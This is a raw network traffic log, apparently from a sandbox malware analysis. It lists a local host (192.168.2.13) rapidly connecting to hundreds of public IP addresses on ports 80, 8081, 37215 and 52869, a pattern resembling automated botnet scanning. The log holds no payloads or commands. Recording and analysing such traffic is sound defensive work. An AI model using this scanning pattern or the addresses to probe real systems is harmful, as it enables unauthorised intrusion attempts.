Jul 20, 2024 23:05:42.663182020 CEST	21679	80	192.168.2.13	95.154.66.63
Jul 20, 2024 23:05:42.664151907 CEST	21679	80	192.168.2.13	95.144.23.155
Jul 20, 2024 23:05:42.664151907 CEST	21679	80	192.168.2.13	95.159.61.21
Jul 20, 2024 23:05:42.665456057 CEST	21679	80	192.168.2.13	95.187.144.249
Jul 20, 2024 23:05:42.665456057 CEST	21679	80	192.168.2.13	95.6.153.122
Jul 20, 2024 23:05:42.665456057 CEST	21679	80	192.168.2.13	95.179.242.234
Jul 20, 2024 23:05:42.665456057 CEST	21679	80	192.168.2.13	95.60.54.2
Jul 20, 2024 23:05:42.665456057 CEST	21679	80	192.168.2.13	95.184.28.121
Jul 20, 2024 23:05:42.665456057 CEST	21679	80	192.168.2.13	95.147.3.23
Jul 20, 2024 23:05:42.665456057 CEST	21679	80	192.168.2.13	95.201.141.249
Jul 20, 2024 23:05:42.665456057 CEST	21679	80	192.168.2.13	95.168.135.246
Jul 20, 2024 23:05:42.666362047 CEST	21679	80	192.168.2.13	95.78.134.162
Jul 20, 2024 23:05:42.666362047 CEST	21679	80	192.168.2.13	95.238.198.229
Jul 20, 2024 23:05:42.677197933 CEST	21679	80	192.168.2.13	95.163.78.118
Jul 20, 2024 23:05:42.677197933 CEST	21679	80	192.168.2.13	95.117.176.216
Jul 20, 2024 23:05:42.687150955 CEST	21679	80	192.168.2.13	95.176.198.253
Jul 20, 2024 23:05:42.687150955 CEST	21679	80	192.168.2.13	95.53.153.134
Jul 20, 2024 23:05:42.687150955 CEST	21679	80	192.168.2.13	95.203.56.1
Jul 20, 2024 23:05:42.687150955 CEST	21679	80	192.168.2.13	95.255.134.115
Jul 20, 2024 23:05:42.687150955 CEST	21679	80	192.168.2.13	95.213.138.220
Jul 20, 2024 23:05:42.687151909 CEST	21679	80	192.168.2.13	95.134.231.52
Jul 20, 2024 23:05:42.687151909 CEST	21679	80	192.168.2.13	95.174.187.189
Jul 20, 2024 23:05:42.687151909 CEST	21679	80	192.168.2.13	95.217.180.102
Jul 20, 2024 23:05:42.688215971 CEST	21679	80	192.168.2.13	95.75.197.198
Jul 20, 2024 23:05:42.688215971 CEST	21679	80	192.168.2.13	95.176.222.128
Jul 20, 2024 23:05:42.688215971 CEST	21679	80	192.168.2.13	95.20.54.92
Jul 20, 2024 23:05:42.688215971 CEST	21679	80	192.168.2.13	95.151.29.97
Jul 20, 2024 23:05:42.688215971 CEST	21679	80	192.168.2.13	95.119.193.23
Jul 20, 2024 23:05:42.688215971 CEST	21679	80	192.168.2.13	95.173.129.158
Jul 20, 2024 23:05:42.688215971 CEST	21679	80	192.168.2.13	95.119.202.215
Jul 20, 2024 23:05:42.688215971 CEST	21679	80	192.168.2.13	95.97.247.205
Jul 20, 2024 23:05:42.689291000 CEST	21679	80	192.168.2.13	95.125.200.24
Jul 20, 2024 23:05:42.689291000 CEST	21679	80	192.168.2.13	95.176.228.6
Jul 20, 2024 23:05:42.689291000 CEST	21679	80	192.168.2.13	95.24.41.40
Jul 20, 2024 23:05:42.689291000 CEST	21679	80	192.168.2.13	95.251.104.124
Jul 20, 2024 23:05:42.711252928 CEST	21679	80	192.168.2.13	95.74.151.4
Jul 20, 2024 23:05:42.711252928 CEST	21679	80	192.168.2.13	95.51.226.134
Jul 20, 2024 23:05:42.711252928 CEST	21679	80	192.168.2.13	95.81.58.25
Jul 20, 2024 23:05:42.711252928 CEST	21679	80	192.168.2.13	95.116.180.106
Jul 20, 2024 23:05:42.711252928 CEST	21679	80	192.168.2.13	95.218.173.157
Jul 20, 2024 23:05:42.715778112 CEST	21679	80	192.168.2.13	95.205.227.214
Jul 20, 2024 23:05:42.715778112 CEST	21679	80	192.168.2.13	95.247.95.124
Jul 20, 2024 23:05:42.715778112 CEST	21679	80	192.168.2.13	95.228.12.109
Jul 20, 2024 23:05:42.715779066 CEST	21679	80	192.168.2.13	95.213.38.241
Jul 20, 2024 23:05:42.715779066 CEST	21679	80	192.168.2.13	95.205.16.212
Jul 20, 2024 23:05:42.715779066 CEST	21679	80	192.168.2.13	95.212.120.213
Jul 20, 2024 23:05:42.715779066 CEST	21679	80	192.168.2.13	95.81.61.90
Jul 20, 2024 23:05:42.715779066 CEST	21679	80	192.168.2.13	95.5.129.250
Jul 20, 2024 23:05:42.716600895 CEST	21679	80	192.168.2.13	95.103.80.130
Jul 20, 2024 23:05:42.716600895 CEST	21679	80	192.168.2.13	95.197.212.159
Jul 20, 2024 23:05:42.716600895 CEST	21679	80	192.168.2.13	95.122.142.154
Jul 20, 2024 23:05:42.716600895 CEST	21679	80	192.168.2.13	95.214.234.78
Jul 20, 2024 23:05:42.716600895 CEST	21679	80	192.168.2.13	95.27.3.0
Jul 20, 2024 23:05:42.716600895 CEST	21679	80	192.168.2.13	95.229.244.13
Jul 20, 2024 23:05:42.716600895 CEST	21679	80	192.168.2.13	95.129.203.17
Jul 20, 2024 23:05:42.716600895 CEST	21679	80	192.168.2.13	95.191.157.59
Jul 20, 2024 23:05:42.717509985 CEST	21679	80	192.168.2.13	95.248.104.247
Jul 20, 2024 23:05:42.717509985 CEST	21679	80	192.168.2.13	95.77.64.151
Jul 20, 2024 23:05:42.717509985 CEST	21679	80	192.168.2.13	95.40.175.138
Jul 20, 2024 23:05:42.717509985 CEST	21679	80	192.168.2.13	95.220.124.217
Jul 20, 2024 23:05:42.717509985 CEST	21679	80	192.168.2.13	95.13.148.84
Jul 20, 2024 23:05:42.717509985 CEST	21679	80	192.168.2.13	95.81.35.82
Jul 20, 2024 23:05:42.718817949 CEST	21679	80	192.168.2.13	95.194.61.114
Jul 20, 2024 23:05:42.718817949 CEST	21679	80	192.168.2.13	95.59.100.12
Jul 20, 2024 23:05:42.718817949 CEST	21679	80	192.168.2.13	95.105.206.21
Jul 20, 2024 23:05:42.718817949 CEST	21679	80	192.168.2.13	95.141.130.14
Jul 20, 2024 23:05:42.718817949 CEST	21679	80	192.168.2.13	95.217.156.9
Jul 20, 2024 23:05:42.718817949 CEST	21679	80	192.168.2.13	95.105.24.228
Jul 20, 2024 23:05:42.718817949 CEST	21679	80	192.168.2.13	95.68.188.117
Jul 20, 2024 23:05:42.718817949 CEST	21679	80	192.168.2.13	95.189.62.182
Jul 20, 2024 23:05:42.719873905 CEST	21679	80	192.168.2.13	95.46.239.234
Jul 20, 2024 23:05:42.719873905 CEST	21679	80	192.168.2.13	95.150.142.238
Jul 20, 2024 23:05:42.719873905 CEST	21679	80	192.168.2.13	95.47.107.232
Jul 20, 2024 23:05:42.719873905 CEST	21679	80	192.168.2.13	95.58.126.191
Jul 20, 2024 23:05:42.719873905 CEST	21679	80	192.168.2.13	95.201.154.37
Jul 20, 2024 23:05:42.719873905 CEST	21679	80	192.168.2.13	95.44.131.7
Jul 20, 2024 23:05:42.719873905 CEST	21679	80	192.168.2.13	95.185.83.211
Jul 20, 2024 23:05:42.719873905 CEST	21679	80	192.168.2.13	95.142.80.120
Jul 20, 2024 23:05:42.720777035 CEST	21679	80	192.168.2.13	95.138.20.220
Jul 20, 2024 23:05:42.720777035 CEST	21679	80	192.168.2.13	95.58.148.161
Jul 20, 2024 23:05:42.723368883 CEST	21679	80	192.168.2.13	95.242.80.90
Jul 20, 2024 23:05:42.723368883 CEST	21679	80	192.168.2.13	95.130.235.196
Jul 20, 2024 23:05:42.723368883 CEST	21679	80	192.168.2.13	95.43.74.154
Jul 20, 2024 23:05:42.723368883 CEST	21679	80	192.168.2.13	95.5.11.143
Jul 20, 2024 23:05:42.723368883 CEST	21679	80	192.168.2.13	95.170.57.170
Jul 20, 2024 23:05:42.723368883 CEST	21679	80	192.168.2.13	95.150.57.17
Jul 20, 2024 23:05:42.723368883 CEST	21679	80	192.168.2.13	95.158.251.201
Jul 20, 2024 23:05:42.723368883 CEST	21679	80	192.168.2.13	95.241.83.100
Jul 20, 2024 23:05:42.723591089 CEST	21679	80	192.168.2.13	95.25.68.5
Jul 20, 2024 23:05:42.723591089 CEST	21679	80	192.168.2.13	95.48.0.218
Jul 20, 2024 23:05:42.723591089 CEST	21679	80	192.168.2.13	95.79.4.21
Jul 20, 2024 23:05:42.723591089 CEST	21679	80	192.168.2.13	95.178.48.208
Jul 20, 2024 23:05:42.723591089 CEST	21679	80	192.168.2.13	95.87.148.107
Jul 20, 2024 23:05:42.723591089 CEST	21679	80	192.168.2.13	95.81.169.190
Jul 20, 2024 23:05:42.723592043 CEST	21679	80	192.168.2.13	95.48.168.86
Jul 20, 2024 23:05:42.724158049 CEST	41110	8081	192.168.2.13	68.208.130.213
Jul 20, 2024 23:05:42.724395037 CEST	48492	80	192.168.2.13	95.82.15.117
Jul 20, 2024 23:05:42.724960089 CEST	21679	80	192.168.2.13	95.164.3.253
Jul 20, 2024 23:05:42.724960089 CEST	21679	80	192.168.2.13	95.29.14.28
Jul 20, 2024 23:05:42.724960089 CEST	21679	80	192.168.2.13	95.73.98.84
Jul 20, 2024 23:05:42.724960089 CEST	21679	80	192.168.2.13	95.173.216.42
Jul 20, 2024 23:05:42.724960089 CEST	21679	80	192.168.2.13	95.100.182.249
Jul 20, 2024 23:05:42.724961042 CEST	21679	80	192.168.2.13	95.198.77.148
Jul 20, 2024 23:05:42.724961042 CEST	21679	80	192.168.2.13	95.178.57.46
Jul 20, 2024 23:05:42.724961042 CEST	21679	80	192.168.2.13	95.227.147.79
Jul 20, 2024 23:05:42.726170063 CEST	21679	80	192.168.2.13	95.198.207.31
Jul 20, 2024 23:05:42.726170063 CEST	21679	80	192.168.2.13	95.99.113.17
Jul 20, 2024 23:05:42.726170063 CEST	21679	80	192.168.2.13	95.104.229.56
Jul 20, 2024 23:05:42.726170063 CEST	21679	80	192.168.2.13	95.223.209.36
Jul 20, 2024 23:05:42.726170063 CEST	21679	80	192.168.2.13	95.18.104.115
Jul 20, 2024 23:05:42.726170063 CEST	21679	80	192.168.2.13	95.26.91.145
Jul 20, 2024 23:05:42.726170063 CEST	21679	80	192.168.2.13	95.224.105.26
Jul 20, 2024 23:05:42.726170063 CEST	21679	80	192.168.2.13	95.94.166.207
Jul 20, 2024 23:05:42.727648020 CEST	21679	80	192.168.2.13	95.245.162.53
Jul 20, 2024 23:05:42.727648020 CEST	21679	80	192.168.2.13	95.65.29.161
Jul 20, 2024 23:05:42.727648020 CEST	21679	80	192.168.2.13	95.157.162.92
Jul 20, 2024 23:05:42.727648020 CEST	21679	80	192.168.2.13	95.90.254.115
Jul 20, 2024 23:05:42.727648020 CEST	21679	80	192.168.2.13	95.184.118.231
Jul 20, 2024 23:05:42.727648020 CEST	21679	80	192.168.2.13	95.44.11.122
Jul 20, 2024 23:05:42.727648020 CEST	21679	80	192.168.2.13	95.128.241.221
Jul 20, 2024 23:05:42.727648020 CEST	21679	80	192.168.2.13	95.68.217.1
Jul 20, 2024 23:05:42.728436947 CEST	21679	80	192.168.2.13	95.245.211.113
Jul 20, 2024 23:05:42.728436947 CEST	21679	80	192.168.2.13	95.1.17.243
Jul 20, 2024 23:05:42.728436947 CEST	21679	80	192.168.2.13	95.19.83.254
Jul 20, 2024 23:05:42.728436947 CEST	21679	80	192.168.2.13	95.73.161.139
Jul 20, 2024 23:05:42.728436947 CEST	21679	80	192.168.2.13	95.208.55.23
Jul 20, 2024 23:05:42.728436947 CEST	21679	80	192.168.2.13	95.145.56.187
Jul 20, 2024 23:05:42.728436947 CEST	21679	80	192.168.2.13	95.50.232.4
Jul 20, 2024 23:05:42.728436947 CEST	21679	80	192.168.2.13	95.44.80.64
Jul 20, 2024 23:05:42.729028940 CEST	51946	8081	192.168.2.13	137.17.247.121
Jul 20, 2024 23:05:42.729631901 CEST	50222	80	192.168.2.13	95.12.52.181
Jul 20, 2024 23:05:42.731323957 CEST	21679	80	192.168.2.13	95.78.169.218
Jul 20, 2024 23:05:42.731323957 CEST	21679	80	192.168.2.13	95.78.129.45
Jul 20, 2024 23:05:42.731323957 CEST	21679	80	192.168.2.13	95.63.75.116
Jul 20, 2024 23:05:42.731323957 CEST	21679	80	192.168.2.13	95.175.1.209
Jul 20, 2024 23:05:42.731820107 CEST	21679	80	192.168.2.13	95.15.165.182
Jul 20, 2024 23:05:42.731820107 CEST	21679	80	192.168.2.13	95.249.241.4
Jul 20, 2024 23:05:42.731820107 CEST	21679	80	192.168.2.13	95.63.120.216
Jul 20, 2024 23:05:42.731820107 CEST	21679	80	192.168.2.13	95.93.126.166
Jul 20, 2024 23:05:42.731820107 CEST	21679	80	192.168.2.13	95.134.182.177
Jul 20, 2024 23:05:42.731820107 CEST	21679	80	192.168.2.13	95.71.40.201
Jul 20, 2024 23:05:42.731820107 CEST	21679	80	192.168.2.13	95.139.99.20
Jul 20, 2024 23:05:42.731820107 CEST	21679	80	192.168.2.13	95.134.130.6
Jul 20, 2024 23:05:42.732852936 CEST	38060	8081	192.168.2.13	129.234.53.71
Jul 20, 2024 23:05:42.733165026 CEST	21679	80	192.168.2.13	95.137.177.170
Jul 20, 2024 23:05:42.734579086 CEST	60698	80	192.168.2.13	95.12.88.73
Jul 20, 2024 23:05:42.735260010 CEST	21679	80	192.168.2.13	95.253.82.51
Jul 20, 2024 23:05:42.735260010 CEST	21679	80	192.168.2.13	95.130.98.115
Jul 20, 2024 23:05:42.738140106 CEST	36642	8081	192.168.2.13	100.189.148.44
Jul 20, 2024 23:05:42.740147114 CEST	47848	80	192.168.2.13	95.109.0.167
Jul 20, 2024 23:05:42.741522074 CEST	50424	8081	192.168.2.13	32.17.126.48
Jul 20, 2024 23:05:42.743123055 CEST	55516	80	192.168.2.13	95.91.176.183
Jul 20, 2024 23:05:42.744988918 CEST	45274	8081	192.168.2.13	115.217.160.85
Jul 20, 2024 23:05:42.747684002 CEST	33256	80	192.168.2.13	95.85.44.222
Jul 20, 2024 23:05:42.748348951 CEST	50834	8081	192.168.2.13	36.176.160.146
Jul 20, 2024 23:05:42.751348972 CEST	60328	8081	192.168.2.13	74.144.83.171
Jul 20, 2024 23:05:42.751693010 CEST	44598	80	192.168.2.13	95.48.33.221
Jul 20, 2024 23:05:42.755095005 CEST	59526	80	192.168.2.13	95.169.160.58
Jul 20, 2024 23:05:42.756788969 CEST	54132	80	192.168.2.13	95.194.234.149
Jul 20, 2024 23:05:42.760257959 CEST	46618	80	192.168.2.13	95.160.145.121
Jul 20, 2024 23:05:42.763020039 CEST	33900	80	192.168.2.13	95.89.249.69
Jul 20, 2024 23:05:42.765291929 CEST	48154	80	192.168.2.13	95.12.175.93
Jul 20, 2024 23:05:42.767642021 CEST	57834	80	192.168.2.13	95.228.200.238
Jul 20, 2024 23:05:42.770323992 CEST	57078	80	192.168.2.13	95.127.71.38
Jul 20, 2024 23:05:42.772515059 CEST	53648	80	192.168.2.13	95.214.250.8
Jul 20, 2024 23:05:42.775266886 CEST	39770	80	192.168.2.13	95.129.69.195
Jul 20, 2024 23:05:42.778088093 CEST	44258	80	192.168.2.13	95.241.185.124
Jul 20, 2024 23:05:42.780436993 CEST	49690	80	192.168.2.13	95.244.33.243
Jul 20, 2024 23:05:42.782737017 CEST	37304	80	192.168.2.13	95.27.212.157
Jul 20, 2024 23:05:42.786447048 CEST	33918	80	192.168.2.13	95.200.69.55
Jul 20, 2024 23:05:42.788297892 CEST	38250	80	192.168.2.13	95.22.148.165
Jul 20, 2024 23:05:42.790389061 CEST	58898	80	192.168.2.13	95.244.225.178
Jul 20, 2024 23:05:42.792715073 CEST	45440	80	192.168.2.13	95.130.191.169
Jul 20, 2024 23:05:42.795384884 CEST	33472	80	192.168.2.13	95.85.49.156
Jul 20, 2024 23:05:42.797796965 CEST	58400	80	192.168.2.13	95.199.121.127
Jul 20, 2024 23:05:42.800506115 CEST	60804	80	192.168.2.13	95.96.165.243
Jul 20, 2024 23:05:42.803739071 CEST	50800	80	192.168.2.13	95.18.187.147
Jul 20, 2024 23:05:42.805953979 CEST	46822	80	192.168.2.13	95.33.23.31
Jul 20, 2024 23:05:42.808648109 CEST	40660	80	192.168.2.13	95.181.116.151
Jul 20, 2024 23:05:42.810606956 CEST	36420	80	192.168.2.13	95.42.35.197
Jul 20, 2024 23:05:42.812796116 CEST	56040	80	192.168.2.13	95.182.20.151
Jul 20, 2024 23:05:42.815351963 CEST	57434	80	192.168.2.13	95.61.59.169
Jul 20, 2024 23:05:42.817810059 CEST	57156	80	192.168.2.13	95.74.67.173
Jul 20, 2024 23:05:42.820236921 CEST	39186	80	192.168.2.13	95.140.215.247
Jul 20, 2024 23:05:42.822597980 CEST	43864	80	192.168.2.13	95.201.16.9
Jul 20, 2024 23:05:42.824892044 CEST	43402	80	192.168.2.13	95.68.157.52
Jul 20, 2024 23:05:42.827586889 CEST	56326	80	192.168.2.13	95.15.65.159
Jul 20, 2024 23:05:42.829798937 CEST	34442	80	192.168.2.13	95.12.205.106
Jul 20, 2024 23:05:42.832077980 CEST	38836	80	192.168.2.13	95.229.250.82
Jul 20, 2024 23:05:42.834500074 CEST	42704	80	192.168.2.13	95.92.0.189
Jul 20, 2024 23:05:42.836791039 CEST	47794	80	192.168.2.13	95.203.108.124
Jul 20, 2024 23:05:42.838965893 CEST	54412	80	192.168.2.13	95.157.224.56
Jul 20, 2024 23:05:42.842154980 CEST	36286	80	192.168.2.13	95.145.15.233
Jul 20, 2024 23:05:42.845119953 CEST	48026	80	192.168.2.13	95.202.16.5
Jul 20, 2024 23:05:42.847712040 CEST	60396	80	192.168.2.13	95.247.168.194
Jul 20, 2024 23:05:42.850037098 CEST	60050	80	192.168.2.13	95.44.224.90
Jul 20, 2024 23:05:42.852540970 CEST	47198	80	192.168.2.13	95.115.50.80
Jul 20, 2024 23:05:42.854569912 CEST	50664	80	192.168.2.13	95.55.65.39
Jul 20, 2024 23:05:42.857007027 CEST	37818	80	192.168.2.13	95.37.52.245
Jul 20, 2024 23:05:42.859538078 CEST	52976	80	192.168.2.13	95.169.197.20
Jul 20, 2024 23:05:42.862260103 CEST	35484	80	192.168.2.13	95.207.7.187
Jul 20, 2024 23:05:42.864793062 CEST	50186	80	192.168.2.13	95.70.247.253
Jul 20, 2024 23:05:42.867250919 CEST	60110	80	192.168.2.13	95.186.32.116
Jul 20, 2024 23:05:42.869318962 CEST	59206	80	192.168.2.13	95.80.184.76
Jul 20, 2024 23:05:42.894364119 CEST	46624	80	192.168.2.13	95.163.228.59
Jul 20, 2024 23:05:42.897069931 CEST	57630	80	192.168.2.13	95.128.116.2
Jul 20, 2024 23:05:42.900966883 CEST	45252	80	192.168.2.13	95.135.109.123
Jul 20, 2024 23:05:42.901854038 CEST	41720	80	192.168.2.13	95.133.102.226
Jul 20, 2024 23:05:42.901854038 CEST	54968	80	192.168.2.13	95.50.45.64
Jul 20, 2024 23:05:42.917574883 CEST	37215	44719	157.13.117.111	192.168.2.13
Jul 20, 2024 23:05:42.917582035 CEST	37215	44719	185.201.173.239	192.168.2.13
Jul 20, 2024 23:05:42.917587996 CEST	37215	44719	197.119.104.179	192.168.2.13
Jul 20, 2024 23:05:42.917601109 CEST	37215	44719	157.121.210.186	192.168.2.13
Jul 20, 2024 23:05:42.917607069 CEST	37215	44719	41.87.52.53	192.168.2.13
Jul 20, 2024 23:05:42.917619944 CEST	37215	44719	157.166.141.239	192.168.2.13
Jul 20, 2024 23:05:42.917632103 CEST	37215	44719	197.134.128.111	192.168.2.13
Jul 20, 2024 23:05:42.917638063 CEST	37215	44719	157.149.38.136	192.168.2.13
Jul 20, 2024 23:05:42.917644024 CEST	37215	44719	197.92.208.85	192.168.2.13
Jul 20, 2024 23:05:42.917690992 CEST	37215	44719	157.2.3.237	192.168.2.13
Jul 20, 2024 23:05:42.917696953 CEST	37215	44719	212.157.127.57	192.168.2.13
Jul 20, 2024 23:05:42.917710066 CEST	37215	44719	102.59.111.148	192.168.2.13
Jul 20, 2024 23:05:42.917757034 CEST	44719	37215	192.168.2.13	157.13.117.111
Jul 20, 2024 23:05:42.917757034 CEST	44719	37215	192.168.2.13	185.201.173.239
Jul 20, 2024 23:05:42.917757034 CEST	44719	37215	192.168.2.13	197.119.104.179
Jul 20, 2024 23:05:42.917757034 CEST	44719	37215	192.168.2.13	41.87.52.53
Jul 20, 2024 23:05:42.917757034 CEST	44719	37215	192.168.2.13	157.149.38.136
Jul 20, 2024 23:05:42.917757034 CEST	44719	37215	192.168.2.13	197.92.208.85
Jul 20, 2024 23:05:42.917757034 CEST	44719	37215	192.168.2.13	157.121.210.186
Jul 20, 2024 23:05:42.918323040 CEST	44719	37215	192.168.2.13	197.134.128.111
Jul 20, 2024 23:05:42.918323040 CEST	44719	37215	192.168.2.13	157.166.141.239
Jul 20, 2024 23:05:42.918323040 CEST	44719	37215	192.168.2.13	157.2.3.237
Jul 20, 2024 23:05:42.918323040 CEST	44719	37215	192.168.2.13	212.157.127.57
Jul 20, 2024 23:05:42.918323040 CEST	44719	37215	192.168.2.13	102.59.111.148
Jul 20, 2024 23:05:42.919858932 CEST	37215	44719	41.222.18.139	192.168.2.13
Jul 20, 2024 23:05:42.919925928 CEST	44719	37215	192.168.2.13	41.222.18.139
Jul 20, 2024 23:05:42.920517921 CEST	37215	44719	157.150.189.1	192.168.2.13
Jul 20, 2024 23:05:42.920525074 CEST	37215	44719	41.82.125.91	192.168.2.13
Jul 20, 2024 23:05:42.920537949 CEST	37215	44719	68.241.252.84	192.168.2.13
Jul 20, 2024 23:05:42.920567036 CEST	44719	37215	192.168.2.13	41.82.125.91
Jul 20, 2024 23:05:42.920567036 CEST	44719	37215	192.168.2.13	157.150.189.1
Jul 20, 2024 23:05:42.920731068 CEST	37215	44719	197.73.182.47	192.168.2.13
Jul 20, 2024 23:05:42.920738935 CEST	37215	44719	157.188.28.160	192.168.2.13
Jul 20, 2024 23:05:42.920747042 CEST	44719	37215	192.168.2.13	68.241.252.84
Jul 20, 2024 23:05:42.920751095 CEST	37215	44719	41.255.24.141	192.168.2.13
Jul 20, 2024 23:05:42.920758009 CEST	37215	44719	187.176.77.133	192.168.2.13
Jul 20, 2024 23:05:42.920769930 CEST	37215	44719	197.49.250.135	192.168.2.13
Jul 20, 2024 23:05:42.920770884 CEST	44719	37215	192.168.2.13	157.188.28.160
Jul 20, 2024 23:05:42.920770884 CEST	44719	37215	192.168.2.13	197.73.182.47
Jul 20, 2024 23:05:42.920792103 CEST	37215	44719	114.115.195.183	192.168.2.13
Jul 20, 2024 23:05:42.920806885 CEST	8081	43439	118.54.34.153	192.168.2.13
Jul 20, 2024 23:05:42.920813084 CEST	8081	43439	50.218.129.187	192.168.2.13
Jul 20, 2024 23:05:42.920818090 CEST	8081	43439	173.12.57.109	192.168.2.13
Jul 20, 2024 23:05:42.920830965 CEST	8081	43439	177.163.61.189	192.168.2.13
Jul 20, 2024 23:05:42.920836926 CEST	8081	43439	61.212.191.34	192.168.2.13
Jul 20, 2024 23:05:42.920849085 CEST	8081	43439	171.90.144.102	192.168.2.13
Jul 20, 2024 23:05:42.920870066 CEST	8081	43439	209.179.119.99	192.168.2.13
Jul 20, 2024 23:05:42.920876026 CEST	8081	43439	154.167.114.0	192.168.2.13
Jul 20, 2024 23:05:42.920887947 CEST	8081	43439	49.149.178.135	192.168.2.13
Jul 20, 2024 23:05:42.920892954 CEST	8081	43439	76.171.241.72	192.168.2.13
Jul 20, 2024 23:05:42.920905113 CEST	8081	43439	179.36.187.56	192.168.2.13
Jul 20, 2024 23:05:42.920911074 CEST	8081	43439	162.174.54.243	192.168.2.13
Jul 20, 2024 23:05:42.920922995 CEST	8081	43439	35.128.254.78	192.168.2.13
Jul 20, 2024 23:05:42.920933962 CEST	8081	43439	208.16.240.128	192.168.2.13
Jul 20, 2024 23:05:42.920948982 CEST	44719	37215	192.168.2.13	187.176.77.133
Jul 20, 2024 23:05:42.920948982 CEST	44719	37215	192.168.2.13	41.255.24.141
Jul 20, 2024 23:05:42.920949936 CEST	44719	37215	192.168.2.13	197.49.250.135
Jul 20, 2024 23:05:42.920949936 CEST	43439	8081	192.168.2.13	118.54.34.153
Jul 20, 2024 23:05:42.920949936 CEST	44719	37215	192.168.2.13	114.115.195.183
Jul 20, 2024 23:05:42.920949936 CEST	43439	8081	192.168.2.13	50.218.129.187
Jul 20, 2024 23:05:42.920949936 CEST	43439	8081	192.168.2.13	173.12.57.109
Jul 20, 2024 23:05:42.921158075 CEST	8081	43439	46.46.188.174	192.168.2.13
Jul 20, 2024 23:05:42.921331882 CEST	8081	43439	108.13.243.83	192.168.2.13
Jul 20, 2024 23:05:42.921771049 CEST	43439	8081	192.168.2.13	177.163.61.189
Jul 20, 2024 23:05:42.921771049 CEST	43439	8081	192.168.2.13	61.212.191.34
Jul 20, 2024 23:05:42.921771049 CEST	43439	8081	192.168.2.13	171.90.144.102
Jul 20, 2024 23:05:42.921771049 CEST	43439	8081	192.168.2.13	209.179.119.99
Jul 20, 2024 23:05:42.921771049 CEST	43439	8081	192.168.2.13	154.167.114.0
Jul 20, 2024 23:05:42.921772003 CEST	43439	8081	192.168.2.13	76.171.241.72
Jul 20, 2024 23:05:42.921772003 CEST	43439	8081	192.168.2.13	49.149.178.135
Jul 20, 2024 23:05:42.921772003 CEST	43439	8081	192.168.2.13	179.36.187.56
Jul 20, 2024 23:05:42.921941996 CEST	8081	43439	5.38.165.244	192.168.2.13
Jul 20, 2024 23:05:42.921953917 CEST	8081	43439	207.202.158.195	192.168.2.13
Jul 20, 2024 23:05:42.921967030 CEST	8081	43439	157.233.66.85	192.168.2.13
Jul 20, 2024 23:05:42.921972036 CEST	8081	43439	190.172.253.240	192.168.2.13
Jul 20, 2024 23:05:42.922068119 CEST	8081	43439	185.29.131.194	192.168.2.13
Jul 20, 2024 23:05:42.922080040 CEST	8081	43439	36.48.198.38	192.168.2.13
Jul 20, 2024 23:05:42.922086000 CEST	52869	43695	20.76.59.255	192.168.2.13
Jul 20, 2024 23:05:42.922097921 CEST	52869	43695	205.212.216.100	192.168.2.13
Jul 20, 2024 23:05:42.922116041 CEST	43439	8081	192.168.2.13	35.128.254.78
Jul 20, 2024 23:05:42.922116041 CEST	43439	8081	192.168.2.13	162.174.54.243
Jul 20, 2024 23:05:42.922116041 CEST	43439	8081	192.168.2.13	208.16.240.128
Jul 20, 2024 23:05:42.922116041 CEST	43439	8081	192.168.2.13	46.46.188.174
Jul 20, 2024 23:05:42.922116041 CEST	43439	8081	192.168.2.13	108.13.243.83
Jul 20, 2024 23:05:42.922116041 CEST	43439	8081	192.168.2.13	5.38.165.244
Jul 20, 2024 23:05:42.922116041 CEST	43439	8081	192.168.2.13	207.202.158.195
Jul 20, 2024 23:05:42.922192097 CEST	52869	43695	83.224.244.234	192.168.2.13
Jul 20, 2024 23:05:42.922198057 CEST	52869	43695	143.172.141.80	192.168.2.13
Jul 20, 2024 23:05:42.922210932 CEST	52869	43695	76.17.233.167	192.168.2.13
Jul 20, 2024 23:05:42.922216892 CEST	52869	43695	106.189.98.231	192.168.2.13
Jul 20, 2024 23:05:42.922229052 CEST	52869	43695	172.220.154.255	192.168.2.13
Jul 20, 2024 23:05:42.922235012 CEST	52869	43695	35.217.8.220	192.168.2.13
Jul 20, 2024 23:05:42.922246933 CEST	52869	43695	47.164.207.56	192.168.2.13
Jul 20, 2024 23:05:42.922252893 CEST	52869	43695	146.195.9.111	192.168.2.13
Jul 20, 2024 23:05:42.922264099 CEST	52869	43695	41.218.182.10	192.168.2.13
Jul 20, 2024 23:05:42.922282934 CEST	52869	43695	162.35.0.137	192.168.2.13
Jul 20, 2024 23:05:42.922288895 CEST	52869	43695	69.97.88.78	192.168.2.13
Jul 20, 2024 23:05:42.922301054 CEST	52869	43695	95.137.110.156	192.168.2.13
Jul 20, 2024 23:05:42.922306061 CEST	52869	43695	32.119.192.25	192.168.2.13
Jul 20, 2024 23:05:42.922318935 CEST	52869	43695	17.218.221.249	192.168.2.13
Jul 20, 2024 23:05:42.922326088 CEST	52869	43695	61.41.81.68	192.168.2.13
Jul 20, 2024 23:05:42.922332048 CEST	52869	43695	130.63.102.154	192.168.2.13
Jul 20, 2024 23:05:42.922343969 CEST	52869	43695	60.33.145.134	192.168.2.13
Jul 20, 2024 23:05:42.922657013 CEST	52869	43695	13.4.58.138	192.168.2.13
Jul 20, 2024 23:05:42.922930956 CEST	43439	8081	192.168.2.13	157.233.66.85
Jul 20, 2024 23:05:42.922930956 CEST	43439	8081	192.168.2.13	190.172.253.240
Jul 20, 2024 23:05:42.922930956 CEST	43439	8081	192.168.2.13	185.29.131.194
Jul 20, 2024 23:05:42.922930956 CEST	43695	52869	192.168.2.13	20.76.59.255
Jul 20, 2024 23:05:42.922930956 CEST	43439	8081	192.168.2.13	36.48.198.38
Jul 20, 2024 23:05:42.922930956 CEST	43695	52869	192.168.2.13	205.212.216.100
Jul 20, 2024 23:05:42.922930956 CEST	43695	52869	192.168.2.13	83.224.244.234
Jul 20, 2024 23:05:42.922930956 CEST	43695	52869	192.168.2.13	143.172.141.80
Jul 20, 2024 23:05:42.923124075 CEST	52869	43695	14.180.52.183	192.168.2.13
Jul 20, 2024 23:05:42.923201084 CEST	52869	43695	40.204.119.127	192.168.2.13
Jul 20, 2024 23:05:42.923207045 CEST	52869	43695	151.167.146.135	192.168.2.13
Jul 20, 2024 23:05:42.923335075 CEST	52869	43695	54.86.186.245	192.168.2.13
Jul 20, 2024 23:05:42.923341990 CEST	52869	43695	42.147.52.182	192.168.2.13
Jul 20, 2024 23:05:42.923355103 CEST	52869	43695	210.202.123.217	192.168.2.13
Jul 20, 2024 23:05:42.923361063 CEST	52869	43695	208.54.219.40	192.168.2.13
Jul 20, 2024 23:05:42.923373938 CEST	52869	43695	170.49.236.39	192.168.2.13
Jul 20, 2024 23:05:42.923378944 CEST	52869	43695	98.155.63.7	192.168.2.13
